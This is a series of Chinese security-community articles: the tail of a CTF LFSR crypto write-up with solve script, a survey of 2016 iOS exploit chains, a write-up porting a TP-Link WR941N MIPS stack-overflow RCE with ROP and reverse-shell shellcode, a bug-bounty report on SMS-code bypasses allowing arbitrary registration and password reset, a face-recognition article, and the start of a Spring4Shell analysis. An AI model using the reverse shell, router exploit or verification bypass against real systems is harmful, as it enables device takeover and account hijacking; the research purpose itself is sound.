xor | i[24] | i[25] | i[26] | i[27] | i[28] | i[29] | i[30] | i[31]
xor | m[1] | m[2] | m[3] | m[4] | m[5] | m[6] | m[7] | m[8]
xor | m[9] | m[10] | m[11] | m[12] | m[13] | m[14] | m[15] | m[16]
xor | m[17] | m[18] | m[19] | m[20] | m[21] | m[22] | m[23] | m[24]
xor | m[25] | m[26] | m[27] | m[28] | m[29] | m[30] | m[31] | m[32]
这个图中的 i[1] 和上一个图中的 i[1] 表示的含义完全相同，就是初始的 iv 低32比特中从高到低的第一个比特。
我们可以发现，前四行异或的结果，和上一个图中前四行异或的结果，有 **7** 位都是相同的，相当于结果右移了一位，在前面又补了一位。但是 mask 和 iv
的异或对应关系被打乱了。
我们可以换一种思路想，虽然我们不知道 mask 的具体 32
个比特，但是有用的只有八个比特，就是后四行异或的结果。所以我们通过已知的六个字符明文`X-MAS{`和完整密文来算出这八个比特。至于前四行异或的结果，相当于一个
LFSR，右移一位，同时前面补位。
#### 验证
我们有了明文的前六个字符`X-MAS{`以及密文，可以得到生成的前 6 个字节，我们来验证一下前面分析的是否正确。
c=open("flag.enc").read().decode("hex")
print len(c[6:])
byte=[]
flag="X-MAS{"
for i in range(6):
byte.append(ord(c[i])^ord(flag[i]))
print byte
for i in range(256):
if bin(byte[0]^i)[2:].zfill(8)[:7]==bin(byte[1]^i)[2:].zfill(8)[-7:]:
print i,bin(byte[0]^i)[2:].zfill(8),bin(byte[1]^i)[2:].zfill(8)
运行发现输出：
[243, 21, 230, 159, 163, 61]
72 10111011 01011101
183 01000100 10100010
程序里的 i 就是表格中后面 4 行异或的结果，是两个... 我们再调整一下，把判断条件里的 byte[0] 和 byte[1] 改成byte[1] 和
byte[2]，看看结果一样不：
c=open("flag.enc").read().decode("hex")
byte=[]
flag="X-MAS{"
for i in range(6):
byte.append(ord(c[i])^ord(flag[i]))
print byte #生成的字节
for i in range(256):
if bin(byte[1]^i)[2:].zfill(8)[:7]==bin(byte[2]^i)[2:].zfill(8)[-7:]:
print i,bin(byte[1]^i)[2:].zfill(8),bin(byte[2]^i)[2:].zfill(8)
输出：
[243, 21, 230, 159, 163, 61]
72 01011101 10101110
183 10100010 01010001
也是 72 和183 ，验证了我们之前的分析时正确的。
这样我们解题思路就清晰了，得到了实际有用的 “mask”,我们只需要每次移位的时候，最高位填 0 和 1
都试一下，看看哪个解密能得到正常的字符。然后填充正确的比特，循环得到全部 flag。
#### exp
我们需要得到生成第 6 个字节后的状态：
c=open("flag.enc").read().decode("hex")
byte=[]
flag="X-MAS{"
for i in range(6):
byte.append(ord(c[i])^ord(flag[i]))
print byte #生成的字节
for i in range(256):
if bin(byte[4]^i)[2:].zfill(8)[:7]==bin(byte[5]^i)[2:].zfill(8)[-7:]:
print i,bin(byte[4]^i)[2:].zfill(8),bin(byte[5]^i)[2:].zfill(8)
输出：
[243, 21, 230, 159, 163, 61]
72 11101011 01110101
183 00010100 10001010
如果选用 72 作为有效 mask，此时状态是 `01110101`
写出 exp:
# -*- coding: utf-8 -*- #written by R1sker
import string
list=string.ascii_letters+string.digits+"_"+"}"
def LFSR1(iv):
return iv >> 1 | (1 << 7)
def LFSR0(iv):
return iv >> 1 | (0 << 7)
c=open("flag.enc").read().decode("hex")
flag="X-MAS{"
mask=72
s=0b01110101
for j in c[6:]:
if chr(ord(j)^mask^LFSR1(s)) in list:
s=LFSR1(s)
flag+=chr(ord(j)^mask^s)
print flag
elif chr(ord(j)^mask^LFSR0(s)) in list:
s=LFSR0(s)
flag += chr(ord(j) ^ mask ^ s)
print flag
结果：
> X-MAS{S4n7a_4lw4ys_g1ve5_n1c3_pr3s3n7s}
### 总结
Crypto 真好玩，滚去学 Web 了，毕竟还是一只 Web 狗。 | 社区文章 |
来源：[阿里聚安全](https://jaq.alibaba.com/community/art/show?articleid=687)
作者：蒸米，耀刺，黑雪 @ Team OverSky
## **0x00 序**
iOS的安全性远比大家的想象中脆弱，除了没有公开的漏洞以外，还有很多已经公开并且可被利用的漏洞，本报告总结了2016年比较严重的iOS漏洞（可用于远程代码执行或越狱），希望能够对大家移动安全方面的工作和研究带来一些帮助。
## **0x01 iOS 10.1.1 公开的可利用漏洞**
1.mach_portal攻击链：该攻击链是由Google Project Zero的Ian
Beer公布的。整个攻击链由三个漏洞组成:损坏的内核port的uref可导致任意进程的port被越权替换（CVE-2016-7637），powerd任意port替换可导致DoS（CVE-2016-7661），因为set_dp_control_port没有上锁导致的XNU内核UaF（CVE-2016-7644）。
攻击者先使用CVE-2016-7637将launchd与”com.apple.iohideventsystem”系统服务具有发送权限的port替换成自己控制的进程的port，并攻击者还具有该port的接收权限。然后，攻击者利用CVE-2016-7661对
powerd 这个进程进行DoS，使其重启。在启动过程中，因为 powerd
的启动需要用到”com.apple.iohideventsystem”系统服务，于是将task
port发送给了这个系统服务。但因为攻击者利用之前的CVE-2016-7637漏洞获取了”com.apple.iohideventsystem”系统服务port的接收权限，因此攻击者获得了powerd的task
port，从而控制了具有root权限并且在沙盒外的powerd进程。攻击者随后利用powerd进程的task port获取到了host_priv
port，然后利用host_priv
port触发因set_dp_control_port没有上锁而导致的XNU内核UaF（CVE-2016-7644）漏洞，从而控制了kernel task
port。攻击者在获取了 kernel task以后，就可以利用系统提供的mach_vm_read()和mach_vm_write()去进行任意内核读写了。
2016年12月22日，qwertyoruiop在Ian
Beer公布的mach_portal攻击链的基础上，加入了KPP的绕过、内核patch和cydia的安装，并在自己的twitter上发布了iOS
10.1.*的越狱。
## **0x02 iOS 9.3.4 公开的可利用漏洞**
1. PEGASUS 三叉戟攻击链：该攻击链是在对阿联酋的一位人权活动家进行apt攻击的时候被发现。整个攻击链由三个漏洞组成：JSC远程代码执行（CVE-2016-4657），内核信息泄露（CVE-2016-4655），内核UAF代码执行（CVE-2016-4656）。
在浏览器漏洞方面，由于iOS系统的JavaScriptCore库的MarkedArgumentBuffer类在垃圾回收的时候可能会造成内存堆破坏，导致黑客可以使用该漏洞泄露对象地址以及执行任意指令
在内核漏洞方面，由于XNU内核的OSUnserializeBinary()函数在反序列化用户态传入的数据时没有对OSNumber的长度进行校验，导致可以泄露内核的栈信息。利用精心构造的OSString对象，还可以触发UAF漏洞并导致内核代码执行（具体的分析可以参考我们之前的文章：基于PEGASUS的OS
X
10.11.6本地提权：[https://jaq.alibaba.com/community/art/show?articleid=531](https://jaq.alibaba.com/community/art/show?articleid=531)）。利用该攻击链可以做到iOS上的远程完美越狱，可以说是近几年来影响最大的iOS漏洞之一了。并且在未来，极有可能出现利用该漏洞的iOS大面积挂马事件。
## **0x03 iOS 9.3.3 公开的可利用漏洞**
1. IOMobileFramebuffer Heapoverflow 内核漏洞: 该漏洞存在于IOMobileFramebuffer这个内核服务中。在IOMobileFramebuffer::swap_submit(IOMFBSwap *)这个函数中，因为没有对用户态传入的IOMFBSwap数据进行校验，从而导致内核堆溢出。利用该漏洞可以在沙盒内（不需要沙盒逃逸）直接对内核进行攻击，并完成非完美越狱。该漏洞在iOS 9.3.3盘古越狱(女娲石)中被使用。
## **0x04 iOS 9.3.2 公开的可利用漏洞**
1. WebKit RCE heapPopMin 远程代码执行漏洞: 因为Webkit模块中的WebCore ::TimerBase::heapPopMin()存在内存破坏漏洞，利用该漏洞可以对iOS设备进行远程攻击。当用mobile safari浏览有恶意攻击代码的网页的时候，safari将会被黑客控制。但要注意的事，被控制的仅仅是safari，想要获取用户数据还需要进行沙盒逃逸，想要控制手机还需要对内核进行攻击。另外，因为webkit不光存在于iOS中，因此该漏洞还被用于PS4，Kindle等设备的越狱。
2. GasGauge 条件竞争内核漏洞: 该漏洞存在于GasGauge这个内核服务中，因为在free内存的时候没有进行加锁操作，黑客可以开多个线程进行free操作，当竞争成功的时候可以造成double free的漏洞，随后可以转化为任意zone的UAF并控制内核，并完成非完美越狱。需要注意的是，该内核服务并不能在沙盒内直接访问，所以想要利用该漏洞，需要先做到沙盒逃逸。
## **0x05 iOS 9.3.1 公开的可利用漏洞**
1. inpuTbag Heapoverflow 内核漏洞: 该漏洞是阿里移动安全的OverSky团队发现并公布的，该漏洞存在于IOHIDDevice这个内核服务中，因为没有对Input report的szie做检测从而造成内核堆溢出。利用该漏洞可以对内核进行攻击，并完成非完美越狱。需要注意的是，该内核服务需要在沙盒外并拥有"com.apple.hid.manager.user-access-device"这个entilement才能访问，所以想要利用该漏洞，需要先做到沙盒逃逸，然后绕过entilement的检测才能利用。
## **0x06 iOS 9.1 公开的可利用漏洞**
1. CVE-2015-7037 Photos 沙盒逃逸漏洞: 该漏洞存在于com.apple.PersistentURLTranslator.Gatekeeper这个系统服务中，在盘古越狱中被使用，通过利用改漏洞，一个在沙盒内的app可以做到mobile权限的沙盒外任意文件读写，配合dyld的漏洞可以做到沙盒外的任意代码执行。
2. CVE-2015-7084 IORegistryIterator 内核漏洞: 该内核漏洞存在于IOKit中，因为IORegistryIterator对象没有线程互斥的保护，导致对成员进行操作的时候可能出现错误。该漏洞可以在沙盒内直接通过race condition触发, 随后转化为内核信息泄露以及内核的代码执行，并做到非完美越狱。<
## **0x07 iOS 9.0 公开的可利用漏洞**
1. CVE-2015-6974 IOHIDFamily 内核漏洞：该漏洞存在于IOHIDResource这个内核服务中，在terminateDevice后，系统没有将device设置为NULL, 从而造成UAF漏洞。该漏洞在盘古iOS 9.0越狱中被使用，利用该漏洞可以做到内核的任意读写，并完成非完美越狱。需要注意的是，该内核服务并不能在沙盒内直接访问，所以想要利用该漏洞，需要先做到沙盒逃逸。
## **0x08 总结**
可以看到2016年的公开可利用的漏洞数量是非常巨大的，相对2015年可以说是有了一个指数级的增长。虽然苹果更新系统的速度非常快并且无法降级，但随着老设备（iPhone
4s及以下已无法升级iOS 10）越来越多，并且用户对新系统期望越来越低，iOS设备的更新率已经变得非常缓慢。
根据某专业移动分析平台2016年12月的数据可以看到，仅有3.28%的设备更新了最新版的iOS
10.2。这意味着96.72%的设备都有被最近刚发布的mach_portal漏洞攻击的风险。我们相信，在新的一年，iOS的漏洞数量还会持续增加，并且随着漏洞利用技术的公开，黑灰产也极有可能利用漏洞对用户进行攻击，希望广大用户一定要注意自己iOS设备的安全。
最后，对本文提到的漏洞感兴趣的同学可以在我们的github上学习相关的资料
<https://github.com/zhengmin1989/GreatiOSJailbreakMaterial>
* * * | 社区文章 |
作者：Hcamael@知道创宇404实验室
之前看到了一个CVE, [CVE-2017-13772](https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/)
是TP-Link WR940N后台的RCE, 手头上正好有一个TP-Link
WR941N的设备，发现也存在相同的问题，但是`CVE-2017-13772`文章中给的EXP并不通用
所以准备进行复现和exp的修改，折腾了将近4天，记录下过程和遇到的坑
第一次研究mips指令的RCE，之前只学了intel指令集的pwn，所以进度挺慢的
#### Day 1
第一天当然是配环境了，该路由器本身在默认情况下是不提供shell的，在@fenix帮助下获取到了路由器的shell，该款路由器上的busybox的命令比较少，curl,
nc,
wget这些命令都没有，只能用tftp进行数据传输，而且只有`/tmp`目录可写，路由器重启后，传上去的文件就没了，这些问题都可以通过刷固件解决，不过太麻烦了，只需要传上去一个`gdbserver`就好了，能根据固件中的bin得知这是一个大端mips指令集的设备，`gdbserver`也不用自己编译，直接下编译好的:
<https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver>
把`gdbserver.mipsbe`通过tftp上传到路由器的`/tmp`目录下
然后根据`cve-2017-13772`分析文章说的那样使用gdbserver attach httpd最新的一个进程，然后就可以进行远程gdb调试了
#### Day 2
第二天准备开始调试，但是发现gdb的两个编译选项,
一个`--host`，表示gdb运行的环境，一般默认就是本机环境，还有一个`--target`表示调试的目标环境，默认也是本机环境，所以一个64位ubuntu上默认的gdb只能调试64
elf程序。所以需要设置`--target=mipsbel-linux`参数进行编译gdb，才能调试大端的mips程序。
编译差不多编译了半天，准备改天搞一个8核的机器专门来编译程序....
编译成功后，就可以进行远程调试了，在路由器上执行:
> /tmp/gdbserver.mipsbe attach 0.0.0.0:12345 pid
然后使用编译好gdb进行调试：
$ gdb
(gdb) target remote 192.168.1.1:12345
但是失败了，又折腾了半天
#### Day 3
第三天才真正的开始调试程序，首先说说我第二天遇到的问题，问题是下了断点没用，原因比较傻逼，我下断点的地址是wr940n的地址，我把两个bin搞混了
然后根据`cve-2017-13772`分析文章中说的栈溢出的指令，在wr941n中也找到了该指令，而溢出情况也是一样，所以拿了wr940n的exp来打了一遍，结果当然是失败了。
在wr940n的exp中，ROP是在`libuClibc-0.9.30.so`中找的，根据`$ cat
/proc/pid/maps`命令，发现wr941n路由器的基地址和文章中显示的wr940n路由器的是一样的，然后再比较`libuClibc-0.9.30.so`文件的hash值，发现不同，所以要修改ROP地址。
由于libc文件太大，用手找太累了，所以使用了那篇文章中的ida的mipsrop插件，这里又踩了一个坑，因为我用的是ida7.0，而这个插件只能在ida6.8(更低的没试过)版本使用。
修改了ROP后，再进行尝试exp，发现仍然失败，然后进行调试查看原因，跟踪ROP执行流，发现能成功跳转到栈上执行shellcode，但是shellcode和文章中的，文章中的shellcode开头有一个使用xor进行解密的过程，执行完之后的指令和文章中的不一样。所以准备自己写一个shellcode
#### Day 4
第四天就是开始写shellcod，首先给个mips指令和bin互转的网站：[Online Assembler and
Disassembler](http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=%5Cx3c%5Cx1c%5Cx2a%5Cxb3%5Cx37%5Cx9c%5Cx17%5Cxb0&arch=mips32&endianness=big#disassembly
"Online Assembler and Disassembler")
然后说说写的过程中遇到的问题，该路由器输入是不接受`\x00`和`\x20`，所以ROP不是在ELF中寻找而是去libc中寻找：`libuClibc`基地址：`0x2aae000`，
`httpd`基地址：`0x00400000`
如果在ELF中寻找ROP，则地址中总会有个`\x00`，所以ROP是在libc中寻找不存在`\x00`和`\x20`的地址。但是在shellcode中，这两个字符却很难避免，所以那篇文章中对shellcode进行了xor加密
wr940n的exp使用的是一个bind shell的shellcode，而我改成了一个反弹shell的shellcode
然后就是最后遇到的一个大坑，使用gdb调试成功的一个反弹shell的shellcode，在实际测试中却失败了，使用gdb成功，直接打失败，因为这个问题折腾了挺长的时间
然后查阅资料，在看雪的一篇文章中找到了原因：<https://www.kanxue.com/article-read-218.htm >
> mips 的 exp 编写中还有一个问题就是 cache incoherency。MIPS CPUs 有两个独立的 cache：指令 cache 和数据
> cache。指令和数据分别在两个不同的缓存中。当缓存满了，会触发 flush，将数据写回到主内存。攻击者的攻击 payload
> 通常会被应用当做数据来处理，存储在数据缓存中。当 payload 触发漏洞，劫持程序执行流程的时候，会去执行内存中的 shellcode。
>
> 如果数据缓存没有触发 flush 的话，shellcode 依然存储在缓存中，而没有写入主内存。这会导致程序执行了本该存储 shellcode
> 的地址处随机的代码，导致不可预知的后果。
>
> 最简单可靠的让缓存数据写入内存的方式是调用一个堵塞函数。比如 sleep(1) 或者其他类似的函数。sleep
> 的过程中，处理器会切换上下文让给其他正在执行的程序，缓存会自动执行 flush。
这个坑点在那篇文章中也提及了，但是没具体说明，如果没实际踩一踩，不一定能理解。但是讲道理，如果直接用wr940n的exp，修改下ROP地址和shellcode，应该是不会遇到这个坑的，但是我仍然遇到了，经过研究发现，是usleep的问题，猜测是由于堵塞的时间过短所以未执行flush？然后进行实际测试了一番，把usleep的时间修改为`18217`，同样没用，然后简单看了下两者的汇编，发现usleep只是简单的调用nanosleep，而sleep除了调用nanosleep还进行其他相关的操作，网上没搜到相关文章，因为精力有限，作为遗留问题，以后有时间的时候再继续研究。
不过有几个猜测，
1. 时间问题，usleep的单位是微秒，18217也只有10ms，是不是要睡到1s？因为找不到合适的ROP，所以暂时没法证明
2. flush内存是靠sleep中的几个信号相关的函数？
所以最终我的做法是在wr940n的exp的ROP链中，调用的是usleep(0xc*2+1)，但是我将usleep改成sleep =>
sleep(0xc*2+1)，数据缓存被成功flush到主内存中，就能成功执行shellcode了
#### Shellcode编写
在本次研究中，最后时间的除了一开始的调试环境搭建外，就是shellcode的编写了，因为在那篇cve分析的文章中已经给出了wr940n的exp，ROP只需要修改修改地址就好了，所以工作量最大的还是在Shellcode的编写这一部分
首先是syscall部分，比如：
li $v0, 4183
syscall 0x40404
# sys_socket
* mips采用的是RISC，32位系统下，指令固定采用4byte，syscall的字节码是`\x0c`，剩余的三字节默认用`\x00`补全，但是因为路由器不接受`\x00`的输入，所以在大端的情况下改成`\x01\x01\x01\x0c`，进行反汇编，就是`syscall 0x40404`
系统调用的相关函数除了几个mips特有的，其他的都是跟linux下的syscall一样，可参考:
<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h>
比如`sys_socket`：
#define __NR_Linux 4000
#define __NR_socket (__NR_Linux + 183)
所以`$v0=4183`表示的就是socket函数，具体参数信息可以去参考linux的系统调用:
<http://asm.sourceforge.net/syscall.html>
int sys_socket(int family, int type, int protocol)
现在，先用c来实现一遍反连shell的代码：
$ cat test.c
#include<stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
int main(void)
{
int sockfd;
sockfd = socket(2,2,0);
struct sockaddr_in addr;
addr.sin_family = 2;
addr.sin_port = 0x3039;
addr.sin_addr = 0xc0a80164;
connect(sockfd, &addr, sizeof(addr))
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execve("//bin/sh", 0, 0);
return 0;
}
这里有个关键点，<https://chromium.googlesource.com/chromiumos/third_party/glibc-ports/+/6cc02c7aaedec87cfb2d105f9682b12b2154e54f/sysdeps/unix/sysv/linux/mips/bits/socket.h>
和其他架构不一样，mips架构中，tcp是2，udp是1
所以上面的代码比如在ubuntu中，是一个udp反连的代码，但是在mips中就是tcp反连
还有一点就是wr941n是大端，所以12345端口是0x3039而不是0x3930，ip地址同理
然后把上面代码转换成mips指令的汇编
但是有个问题，之前说了该路由器不接收`\x00`和`\x20`两个字符，而上面的汇编转换成字节码:
nor $a0,$t7,$zero => "\x01\xe0\x20\x27"
所以要把这句指令进行修改, 因为`$a0`和`$a1`的值都为2，所以可以这样修改：
sw $a1,-1($sp) => "\xaf\xa5\xff\xff"
lw $a0,-1($sp) => "\x8f\xa4\xff\xff"
把上面的汇编转成shellcode替换exp中的shellcode，实际测试，又发现一个问题，设备成功反连了控制端，但是却不能执行命令，到路由器上用ps查看，发现`sh`已经变为僵尸进程
经研究，问题出在`execve("/bin/sh",0,0)`，如果我修改成`execve("/bin/sh", ["/bin/sh", 0],
0)`则成功反弹shell，可以任意命令执行
#### 参考链接
1. <https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/>
2. <https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver>
3. [http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=%5Cx3c%5Cx1c%5Cx2a%5Cxb3%5Cx37%5Cx9c%5Cx17%5Cxb0&arch=mips32&endianness=big#disassembly](http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=%5Cx3c%5Cx1c%5Cx2a%5Cxb3%5Cx37%5Cx9c%5Cx17%5Cxb0&arch=mips32&endianness=big#disassembly)
4. <https://www.kanxue.com/article-read-218.htm>
5. <https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/mips/include/uapi/asm/unistd.h>
6. <http://asm.sourceforge.net/syscall.html>
7. <https://chromium.googlesource.com/chromiumos/third_party/glibc-ports/+/6cc02c7aaedec87cfb2d105f9682b12b2154e54f/sysdeps/unix/sysv/linux/mips/bits/socket.h>
* * * | 社区文章 |
### 这是一次针对某SRC厂商某业务的一个登陆页面的测试
文中相关漏洞现均已修复 提取其中思想精髓 分享给诸位师傅
#### 梅开一度
开局一个登陆框，正常情况下，我随手一个admin/123456打过去。
如果提示“ **账号不存在** ”，或者“ **密码错误** ”。再立马掏出我祖传的用户遍历及弱口令字典。定向爆破。
但此时提示“ **账号或密码错误** ”，就老老实实去注册，走正常流程了。
burp代理开启 记录下所有数据包 并对其中可疑参数记录标记
输入手机号 获取验证码 这时已然收到了真实的验证码
但是为了 **获取更多的隐藏参数** 以及尽可能的 **走全业务逻辑** ，这里随便输了一个123456 故意让其报错
果然返回验证码错误，但是同时数据包中也返回了正确的验证码
至此，任意用户注册一枚到手，提交到src很快啊，给了三位数的赏金
但我并不满足于此，正所谓，不想挖高危的安服仔不是一个好的白帽子
很自然的想到注册的地方都出问题了，那找回密码的地方呢，是否也同样也存在验证码就回显在响应包中呢？
抱着试一试单车变摩托的心理，尝试却发现返回包直接返回false，尝试将返回包修改为true，仍无法绕过前后端的校验
#### 梅开二度
两周过去后，发现已经修复了，但是返回包的数据修复的很奇怪，删了好多东西，就只剩下一个flag参数了
{"flag":"error"}
同样想当然的去尝试了一下将"error"修改为"success"等，无果
又测试了一遍，还是没问题。看来真的是修复了，但总感觉哪儿还是有问题。
掏出之前保存的数据包，翻回到之前的数据包，对照分析了一下，这次果然有了新的发现
第一次测试时的注册接口
GET /register/xxx HTTP/1.1
Host: xxx.xxx.com
第二次测试时的注册接口
GET /registerPage HTTP/1.1
Host: xxx.xxx.com
好家伙，接口都直接换了，难怪感觉到响应包哪里不对劲呢
啪，很快，我直接用原来的接口放上原来的payload打了过去，很快哈，验证码又返回在了响应包中
及时提交到某SRC，这波又给了三位数的赏金
这里推测如下
是业务那边怕直接修改源码出差错后会影响正常逻辑，所以备份了下修改了一个新的接口去替换旧的那个接口，而忘记将备份的那个旧的接口修改并及时删除，依然存在着
这里bypass也就是通过构造请求包去请求旧的那个接口，然后得到回显
###### 一点点小tips
所以在测试过程中比较重要的数据包要有意识的保留及整理，待复查的时候，要看看在原漏洞触发处是不是有了新的页面或者调用了新的接口，以及旧的接口还在否
是的话，用原来的url，接口或者exp直接打一下，看能不能捡漏（当然这种情况绝大多数会是逻辑漏洞吧）
#### 梅开三度
又是两周过去啦，又是我，又是这个站，又是这个登录框
这次旧接口问题已经被修复，无法再通过就接口直接打验证码了。
啪，很快，灵光一闪，会不会这里只是校验了接口和
接口对应的验证码是否一致，而不校验手机号的呢。
说干就干，先在注册填写手机号码获取验证码的时候使用自己的手机号进行接收验证码
发送验证码之后马上把手机修改成要任意注册的手机号码（很关键）
这里的验证码填写的是刚刚155xxxx3531接收到的验证码，而131xxxxxxxx这个号码是没有获取过验证码的
点击注册，真的就直接注册成功了，验证了上面的想法是正确的，这里只验证了验证码接口和对应的验证码，并没有校验手机号是否为接收验证码的那个手机号。
当成功产出一个漏洞时，要思考的有两件事。即 **横向** 或 **纵向** 上扩展成果
##### 横向
既然这里没对注册手机号和验证码同时验证，如果验证码还没失效的话，批量注册一下？
将手机号的后两位作为变量，批量跑了一下也都成功了（这里设置两位作为变量，只是想证明漏洞真实纯在，尽可能多的减少对业务的影响）
又是一波三位数的赏金
#### 梅开四度
梅都开三度了，还是三位数奖金，也是醉了。。。
不想挖高危的安服仔不是一个好的白帽子，继续搞。
##### 纵向
很容易想到既然验证码没有与实际接收手机号的号码绑定起来。那它在整个账号体系里对应的功能点可不止注册哦。对的，还有密码找回嘛。
后面就是同样的玩法了。
在找回密码处填写手机号码获取验证码的时候使用自己的手机号进行接收验证码，得到验证码后将自己的手机号替换为你想改密码的手机号。短信验证码就输自己手机号接收到的那个。
抓包操作如下
burp拦截到如上所示的包，不要放行。Crt+r到repeater模块，修改mobile为你的目标手机号
发包，目标账号的密码被修改成功
这里继续尝试批量问题，也仍存在。即批量修改任意用户账号密码。
抱着单车变摩托的心理，提到src，冲。
然而，大意了。不讲武德，耗子尾汁。
我淦，万万没想到。可能前三个洞提的导致这个资产进入了保护期。
#### 梅开五度
十几天后，抱着试一试的心理，结果不出所料，怕啥来啥，洞还是给修复啦。
没办法，谁让咱头铁，接着搞。
##### 压箱底的祖传技巧
这里分享一个压箱底的祖传技巧，不保证百分百能成功，但遇到这种情况，值得一适。
**F12切换到移动设备调试**
好家伙，界面感觉都和pc端的不太一样了，然后抓包，发现接口果然也不太一样。
后面就是和梅开四度里的玩法一样了，如下图
通过切换访问设备的标识成功bypass，收获批量修改任意用户账号密码一枚
提交到SRC后，最终get到了四位数的赏金
#### 总结：
##### 心细挖天下！！！
梅开一度：尽可能的走一遍完整的业务逻辑流程，尽管你觉得这里99.99%的可能性不会出错。
梅开二度：整理好测试中比较重要的数据包，揣测业务的修复心理，尝试用原来的payload打原来的接口。
梅开三度：思考漏洞产生表象后的触发原理，进而扩大漏洞的利用面。
梅开四度：同一个漏洞对应在业务体系里的对应的功能触发点可能不止一处。
梅开五度：不同设备的访问请求(User-Agent)，可能会导致实现同一业务功能的接口不同。 | 社区文章 |
# 【技术分享】阿里巴巴直播防控中的实人认证技术
|
##### 译文声明
本文是翻译文章，文章来源：阿里聚安全
原文地址：<http://www.cnblogs.com/alisecurity/p/6273809.html>
译文仅供参考，具体内容表达以及含义原文为准。
直播作为近来新兴的互动形态，已经成为近几年最风生水起的行业之一。在2016年仿佛进入了“千团大战”的繁华。欢聚时代10亿砸向虎牙和ME直播，斥资1亿签下主播MISS；腾讯4亿投资斗鱼，后者估值10亿美元；新成立的映客获得昆仑万维、复赛等机构的8000万人民币投资；易直播获得6000万人民币A轮融资；360推出花椒、秒拍推出一直播….网络直播正享受其最好的时光，直播"风口"成投资方必争之地。
然而网络直播也因为走的太快，而失去了出发的初心，主播行为、直播内容变得不可控，低俗、大尺度、无下限成为“劲爆”栏目。针对网络直播的种种怪相，12月1日，由国家网信办发布的，媒体认为“史上最严”的《互联网直播服务管理规定》正式开始施行。《规定》要求直播平台按照“后台实名、前台自愿”的原则，对用户进行移动电话号码等真实身份信息认证。而对于网络主播们，《规定》更要求通过审核身份证件等更为严格的方式进行认证登记。
而这些网络直播在进行实人认证时，需要对包括姓名、证件号、生物属性、手机和位置等要素进行识别，如何在提高用户体验的同时准确的判断账号背后真实的人，也是目前困扰着各大公司的一大难题。目前阿里聚安全实人认证中使用的技术能够大大提供自动化认证率和审核效率。
**主播实人认证**
主播的实人认证，基于自主研发的证件OCR、人脸识别等实现了88%以上的自动化认证率，并且采用云（3D、翻拍检测等）+端（交互动作等）相结合的活体检测技术来防御虚假认证的风险攻击，以确认主播的真实身份，降低违法风险。
对主播进行了严格的实人认证：做到人证合一，即根据认证过的账号身份信息，能准确找到对应的真实的自然人。
实人认证系统示意图
其中涉及的智能技术很多，介绍其中两项。
**1、身份证OCR**
身份证OCR是把身份证图像中的文字识别为计算机能认识的文本，自动与公安网等权威数据库比对，验证姓名、号码等信息的真伪。
基于自由拍摄证件图像，流程见下图。为保证识别率和速度，同时融合了传统算法和深度学习算法。
身份证信息检测流程图
OCR算法对“姓名”字段的识别准确率达98%以上，对“身份证号码”和“有效期”达99.5%。 系统具有很强鲁棒性，以下case都可以轻松识别。
OCR可以识别的身份证举例
**2、生物特征识别**
只介绍人脸识别和人脸活体检测。
人脸识别在学术界已超肉眼的识别水平，但能在实际中的大规模应用还比较少，原因是实际场景复杂和数据缺乏。挑战来自光照、姿态、翻拍、化妆、衰老以及低照片质量。
我们对用户真人人像、身份证照、权威数据库的头像进行两两比对，以验证身份的真实性。算法能在0.1%的认假率下，使得合法用户自动通过率达93%以上。
人脸识别包括图像获取、人脸检测、活体检测、关键点定位、特征提取、识别引擎等模块。
人脸识别系统
**2.1 人脸检测**
采用Boosting+RCNN框架。
人脸检测结果图
**2.2 活体检测**
活体检测是为了确保待认证的用户是“活人”，而不是事先拍好或翻拍的人脸照片、视频，防止虚假认证，降低主播的违法风险。
活体检测实例图
活体检测模块包括：
**人脸检测**
检测是否出现人脸，且不能是多张脸， 防止不同的人切换或人与照片的切换。
**3D检测**
验证是否为立体人像，防止平面的照片或视频攻击。
3D检测示意图
**活体算法检测**
验证用户的操作是否正常，指定用户做随机动作（凝视、摇头、点头、眨眼、上下移动手机等）。
**连续性检测**
防止中途切换人。
**翻拍检测**
利用深度学习技术， 区分获取的人像是否为对屏幕、照片的翻拍。
**2.3 人脸关键点定位**
定位出眉毛、眼睛、鼻子、嘴巴等位置。主流方法有：基于参数模型的方法；基于回归的方法；基于深度学习的方法。
我们采用基于特征的回归方式+深度学习的方法，来训练关键点定位模型。
人脸关键点检测示意图(图片素材来源网络)
**2.4 特征提取****
Maxout结构示意图
我们同时采用了传统人脸特征（WLD,
HOG，LBP，Gabor等）和基于深度学习（基于VGG、GoogleNet、Maxout三者的融合网络）的特征进行人脸识别。
**2.5 识别引擎**
传统人脸特征，我们采用SVM进行pairwise距离度量；DL人脸特征，对已经学习的分类模型进行微调。
实人认证自动化是基于人脸、OCR的识别结果，基于大数据，综合利用用户的行为特征，进行多维度信息融合，最后得到综合决策模型，实现自动决策的过程。而在目前互联网发展的多种业务中，实人认证技术的应用场景纷繁复杂，对技术指标的要求也不尽相同，阿里聚安全提供的实人认证技术以生物识别、无线安全技术为支撑，保障实人认证有效性。
目前，阿里巴巴人脸识别技术已在实际场景中大规模应用，实战中相关性能指标在FPR（False Positive
Rate）0.1%情况下，TPR（True Positive
Rate）达96％，识别准确率远远超过人体肉眼识别。阿里聚安全实人认证技术更以实时大数据风险管理为核心，可实时判断每一个用户的认证动机，对不同风险等级的用户采取不同的认证方式，保障正常用户能够方便、快捷的提交资料，而风险用户无法简单的通过盗用他人信息通过认证，确保认证的真实性。 | 社区文章 |
# 漏洞介绍
Spring MVC 框架的参数绑定功能提供了将请求中的参数绑定控制器方法中参数对象的成员变量，攻击者通过构造恶意请求获取AccessLogValve
对象并注入恶意字段值触发 pipeline 机制可写入任意路径下的文件。
简答来说就是参数绑定造成的变量覆盖漏洞，漏洞点spring-beans包中。
# 漏洞编号
无
# 影响范围
JDK>=9
springMVC 全版本
# 漏洞分析
## 属性注入分析
根据之前的漏洞分析
